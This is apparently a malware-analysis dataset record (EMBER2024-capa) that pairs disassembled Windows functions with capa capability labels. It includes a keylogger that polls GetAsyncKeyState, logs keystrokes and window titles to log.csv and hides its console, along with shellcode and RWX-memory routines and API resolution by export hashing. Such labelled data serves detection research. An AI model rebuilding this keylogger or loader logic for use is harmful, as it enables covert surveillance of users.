joyce8/EMBER2024-capa huggingface dataset:
Function at 0x472760
Capabilities:
Generate random numbers via winapi
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x30
mov ecx, dword [0x00484768]
test ecx, ecx
je 0x472859
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x472790
cmp qword [rax + 8], 0
je 0x472790
add rax, 0x10
jmp 0x472853
mov ecx, dword [0x00484768]
test ecx, ecx
je 0x47286c
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x472833
mov rsi, rax
test rax, rax
jne 0x472803
movzx eax, byte [0x004a3150]
mov ecx, 0x20
mov edx, 8
call fcn.004279a0
test rax, rax
je 0x472892
mov rsi, rax
lea rax, [0x00484750]
mov qword [rsi], rax
mov qword [rsi + 8], 0
mov ecx, dword [0x00484768]
test ecx, ecx
je 0x47287f
dec ecx
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x472837
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x47283f
xor eax, eax
jmp 0x472853
call fcn.0046d900
mov rcx, rax
mov qword [rsi + 8], 1
lea rax, [rsi + 0x10]
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], rdx
add rsp, 0x30
pop rsi
ret
lea rcx, [0x00484750]
call fcn.0044ac10
mov ecx, eax
jmp 0x472775
lea rcx, [0x00484750]
call fcn.0044ac10
mov ecx, eax
jmp 0x4727a0
lea rcx, [0x00484750]
call fcn.0044ac10
mov ecx, eax
jmp 0x4727fb
mov ecx, 8
mov edx, 0x20
call fcn.00429330
ud2

Function at 0x4746f1
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xd0
mov rsi, rcx
mov ecx, dword [0x00484790]
test ecx, ecx
je 0x47482f
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x47472c
mov rbx, rax
cmp qword [rax + 8], 0
je 0x47472c
add rbx, 0x10
jmp 0x474821
mov ecx, dword [0x00484790]
test ecx, ecx
je 0x474842
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x4747bf
mov rbx, rax
test rax, rax
jne 0x47479a
mov al, byte [0x004a3150]
mov ecx, 0x60
mov edx, 8
call fcn.004279a0
test rax, rax
je 0x474868
mov rbx, rax
lea rax, [0x00484778]
mov qword [rbx], rax
mov qword [rbx + 8], 0
mov ecx, dword [0x00484790]
test ecx, ecx
je 0x474855
dec ecx
mov rdx, rbx
call sub.KERNEL32.dll_TlsSetValue
lea rax, [rbx + 8]
test rsi, rsi
je 0x4747c3
lea rcx, [rsi + 8]
cmp qword [rsi], 0
mov qword [rsi], 0
lea rsi, [0x004969d0]
cmovne rsi, rcx
jmp 0x4747ca
xor ebx, ebx
jmp 0x474821
lea rsi, [0x004969d0]
lea rdx, [rsp + 0x80]
mov ecx, 0xa
mov rdi, rdx
rep movsq qword [rdi], qword [rsi]
lea r8, [rsp + 0x28]
mov ecx, 0xb
mov rdi, r8
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rbx + 8], 1
add rbx, 0x10
mov ecx, 0xa
mov rdi, rbx
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
cmp qword [r8], 0
je 0x474821
cmp dword [rsp + 0x38], 2
je 0x474821
lea rcx, [rsp + 0x38]
call fcn.00472917
mov rax, rbx
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
ret
lea rcx, [0x00484778]
call fcn.0044ac10
mov ecx, eax
jmp 0x47470e
lea rcx, [0x00484778]
call fcn.0044ac10
mov ecx, eax
jmp 0x47473c
lea rcx, [0x00484778]
call fcn.0044ac10
mov ecx, eax
jmp 0x474792
mov ecx, 8
mov edx, 0x60
call fcn.00429330
ud2
Function at 0x4749e0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x474a16
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 3
jbe 0x474a1e
mov esi, dword [rdx]
mov r9d, 4
jmp 0x474a23
xor r10d, r10d
jmp 0x474ad1
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x474a46
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x474a5d
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x474a7d
add r11, r8
jmp 0x474ba1
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x474b45
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x474af3
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 3
jbe 0x474b57
mov r9d, dword [rdx + r10]
mov r8d, 4
jmp 0x474b5d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x474b83
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x474b9d
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x474d74
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov ecx, dword [0x004847b0]
test ecx, ecx
je 0x474e41
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x474da8
mov rdi, rax
cmp qword [rax + 8], 0
je 0x474da8
add rdi, 8
jmp 0x474e37
mov ecx, dword [0x004847b0]
test ecx, ecx
je 0x474e54
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x474e35
mov rsi, rax
test rax, rax
jne 0x474e12
mov al, byte [0x004a3150]
mov ecx, 0x10
mov edx, 8
call fcn.004279a0
test rax, rax
je 0x474e77
mov rsi, rax
lea rax, [0x00484798]
mov qword [rsi], rax
mov qword [rsi + 8], 0
mov ecx, dword [0x004847b0]
test ecx, ecx
je 0x474e67
dec ecx
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
lea rdi, [rsi + 8]
call fcn.00474d29
mov rcx, qword [rsi + 8]
mov qword [rsi + 8], rax
test rcx, rcx
je 0x474e37
lock dec qword [rcx]
jne 0x474e37
call fcn.004731e0
jmp 0x474e37
xor edi, edi
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
ret
lea rcx, [0x00484798]
call fcn.0044ac10
mov ecx, eax
jmp 0x474d8a
lea rcx, [0x00484798]
call fcn.0044ac10
mov ecx, eax
jmp 0x474db8
lea rcx, [0x00484798]
call fcn.0044ac10
mov ecx, eax
jmp 0x474e0a
mov ecx, 8
mov edx, 0x10
call fcn.00429330
ud2
Function at 0x47a026
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx]
mov rdx, rax
xor rdx, 3
lock cmpxchg qword [rcx], rdx
jne 0x47a02d
test al, 1
je 0x47a04c
test al, 2
jne 0x47a061
xor rax, 3
add rsp, 0x28
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x00497f90]
mov edx, 0x23
jmp 0x47a074
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x00497fd0]
mov edx, 0x25
call fcn.0042c320
ud2
Function at 0x482cb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x004a3764]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x482dd0
mov rax, qword [0x004a3768]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x482cfc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x482db6
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x482ce0
mov rcx, rsi
call fcn.004838f0
test rax, rax
mov r12, rax
je 0x482e08
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x004a3768]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.00483a40
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x004a3768]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x482deb
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x482daf
sub eax, 0x40
and eax, 0xffffffbf
je 0x482daf
add rbx, qword [0x004a3768]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x482dd7
add dword [0x004a3764], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.ntdll.dll_memcpy
xor ebx, ebx
jmp 0x482d07
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00482c40
mov rax, qword [0x004a3768]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00482c40
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00482c40
nop
nop dword [rax + rax]

Function at 0x483560
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004a3a40]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004a3a20]
test rbx, rbx
je 0x4835b4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4835ab
test rsi, rsi
je 0x4835ab
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x483590
lea rcx, [0x004a3a40]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4838f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00499420]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x483910
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.004837d0
test eax, eax
je 0x483908
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x48396d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x483964
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x483908
add rdx, 0x28
cmp rdx, r9
jne 0x483950
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x1401b7f40
Capabilities:
Encode data using xor

Disassembly:
movzx eax, byte [rcx]
xor edx, edx
test al, al
je 0x1401b7f6a
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
xor eax, 0x561e12b0
shr eax, 1
imul edx, eax, 0x21
movzx eax, byte [rcx]
test al, al
jne 0x1401b7f50
mov eax, edx
ret

Function at 0x1401b7f70
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rbx, qword [0x1401ba1f8]
lea r9, [rsp + 0x40]
mov rcx, rbx
mov edx, 0x1000
mov r8d, 4
call qword [fcn.1401ba200]
mov r11, qword [0x1401ba1e8]
mov r8, rbx
mov r9, qword [0x1401ba1e0]
mov r10d, 0x1000
mov edi, 0x40
nop dword [rax + rax]
movzx edx, byte [r8]
lea r8, [r8 + 1]
xor dl, r9b
mov ecx, edi
and ecx, 0x3f
mov rax, r11
shr rax, cl
add dl, al
mov byte [r8 - 1], dl
sub r10, 1
jne 0x1401b7fc0
lea r9, [rsp + 0x40]
mov edx, 0x1000
lea r8d, [r10 + 1]
mov rcx, rbx
call qword [fcn.1401ba200]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1401b8010
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
lea r9, [rsp + 0x40]
mov edx, 0x1000
mov r8d, 4
mov rbx, rcx
call qword [fcn.1401ba200]
mov r11, qword [0x1401ba1e8]
mov r8, rbx
mov r9, qword [0x1401ba1e0]
mov r10d, 0x1000
mov edi, 0x40
nop
movzx edx, byte [r8]
lea r8, [r8 + 1]
mov ecx, edi
mov rax, r11
and ecx, 0x3f
shr rax, cl
sub dl, al
xor dl, r9b
mov byte [r8 - 1], dl
sub r10, 1
jne 0x1401b8050
lea r9, [rsp + 0x40]
mov edx, 0x1000
lea r8d, [r10 + 0x20]
mov rcx, rbx
call qword [fcn.1401ba200]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1401b8110
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rax, qword [0x1401ba1d8]
mov r14, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov r11, qword [rdi]
cmp r11, rdi
je 0x1401b81b6
nop dword [rax]
mov r10, qword [r11 + 0x20]
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x1401b81ae
mov esi, dword [r10 + rcx + 0x1c]
lea rax, [r10 + rcx]
mov r9d, dword [rax + 0x20]
add rsi, r10
mov ebp, dword [rax + 0x24]
add r9, r10
mov ebx, dword [rax + 0x18]
add rbp, r10
xor r8d, r8d
test ebx, ebx
je 0x1401b81ae
nop word [rax + rax]
mov ecx, dword [r9]
add rcx, r10
call fcn.1401b7f40
cmp eax, 0xa2b3228a
je 0x1401b81a0
inc r8d
add r9, 4
cmp r8d, ebx
jb 0x1401b8180
jmp 0x1401b81ae
movzx ecx, word [rbp + r8*2]
mov eax, dword [rsi + rcx*4]
add rax, r10
jne 0x1401b81b8
mov r11, qword [r11]
cmp r11, rdi
jne 0x1401b8140
xor eax, eax
lea r9, [rsp + 0x48]
mov edx, 0x1000
mov r8d, 1
mov rcx, r14
call rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000a900]
mov dword [rax], 1
mov rax, qword [0x14000a910]
mov dword [rax], 1
mov rax, qword [0x14000a920]
mov dword [rax], 1
mov rax, qword [0x14000a8c0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016f2
Capabilities:
Create process on windows
Get graphical window text
Log keystrokes via polling
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
lea rbx, [0x14000f0a0]
lea r12, [0x14000f1a0]
lea rbp, [0x14000a050]
mov dword [rsp + 0x80], ecx
mov rsi, rdx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x100
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rdx, r12
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140001797
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__ctime64]
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x38], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov r9, qword [rsp + 0x38]
lea rdx, str._n_n_s_t_t_s
mov r8, rbx
mov rdi, rax
mov rcx, rax
call fcn.1400016d0
mov rcx, rdi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rdx, rbx
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
mov rbx, qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x11
call rbx
test ax, ax
jns 0x1400017ea
mov ecx, 0x10
call rbx
test ax, ax
jns 0x1400017ea
mov ecx, 0x47
call rbx
test ax, ax
jns 0x1400017ea
xor eax, eax
mov dword [rsp + 0x28], 5
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea r8, str.log.csv
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x11
call rbx
test ax, ax
js 0x140001838
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, rbp
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
lea rdx, [0x14000a071]
mov rbx, rax
mov eax, dword [rsp + 0x80]
dec eax
cmp eax, 0x27
ja case.0x140001836.2
lea rcx, [0x14000a0f8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, 0x10
call rbx
test ax, ax
jns 0x1400017f6
mov ecx, 0x51
call rbx
test ax, ax
jns 0x1400017f6
xor ecx, ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
lea r8, str._SHIFT_
jmp 0x1400018dd
lea r8, str._RETURN_
jmp 0x1400018dd
lea r8, str._BACK_SPACE_
jmp 0x1400018dd
lea r8, str._LButton_
jmp 0x1400018dd
lea r8, str._ESCAPE_
jmp 0x1400018dd
lea r8, str._CTRL_
jmp 0x1400018dd
lea r8, str._CAPS_LOCK_
jmp 0x1400018dd
lea r8, str._ALT_
jmp 0x1400018dd
lea r8, str._TAB_
jmp 0x1400018dd
lea r8, str._LEFT_ARROW_
jmp 0x1400018dd
lea r8, str._LEFT_RIGHT_
jmp 0x1400018dd
lea r8, str._LEFT_UP_
jmp 0x1400018dd
lea r8, str._LEFT_DOWN_
jmp 0x1400018dd
lea r8, str._SPACE_KEY_
jmp 0x1400018dd
lea r8, [rsp + 0x80]
mov rcx, rbx
call fcn.1400016d0
mov rcx, rbx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001c30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140008960
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x140002902
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f368]
test eax, eax
je 0x14000299a
lea rax, [0x14000f340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f370]
mov qword [rbp - 8], rax
jmp 0x14000297e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002972
cmp qword [rbp - 0x10], 0
je 0x140002972
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002938
lea rax, [0x14000f340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000299b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002aa0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002ac8
mov eax, 0
jmp 0x140002b16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002af1
mov eax, 0
jmp 0x140002b16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002b11
mov eax, 0
jmp 0x140002b16
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002b1c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002b9a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002b91
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002b91
mov rax, qword [rbp - 8]
jmp 0x140002baf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002b64
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140008ee0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov bl, 8
lea rbp, str.log.csv
call fcn.1400019b7
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx esi, bl
mov ecx, esi
call rdi
cmp ax, 0x8001
jne 0x140008f25
mov rdx, rbp
mov ecx, esi
call fcn.1400016f2
inc ebx
jmp 0x140008f0e
Function at 0x1400036d0
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x250
mov rax, qword [0x1400ec780]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
lea rdi, [0x1400f00a0]
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xorps xmm0, xmm0
movups xmmword [0x1400f00a0], xmm0
mov qword [0x1400f00b0], 0
mov qword [0x1400f00b8], 0
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140003745
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140016890
mov dword [rsp + 0x20], 1
mov r8d, recv
lea rdx, str.VrilOutput
mov rcx, rdi
call fcn.1400134e0
mov rax, rdi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140084d60
add rsp, 0x250
pop rdi
ret

Function at 0x1400038e0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x1400ec780]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x60]
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
lea edx, [rdi + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
test eax, eax
jne 0x140003970
xorps xmm1, xmm1
lea rax, [rsp + 0x60]
movdqu xmmword [rsp + 0x50], xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rsp + 0x40], xmm0
inc r8
cmp byte [rax + r8], dil
jne 0x140003945
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400037e0
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
jmp 0x14000398d
movups xmmword [rbx], xmm0
xor r8d, r8d
mov qword [rbx + 0x10], rdi
lea rdx, [0x1400db1e0]
mov qword [rbx + 0x18], rdi
mov rcx, rbx
call fcn.1400037e0
mov rax, rbx
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140084d60
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret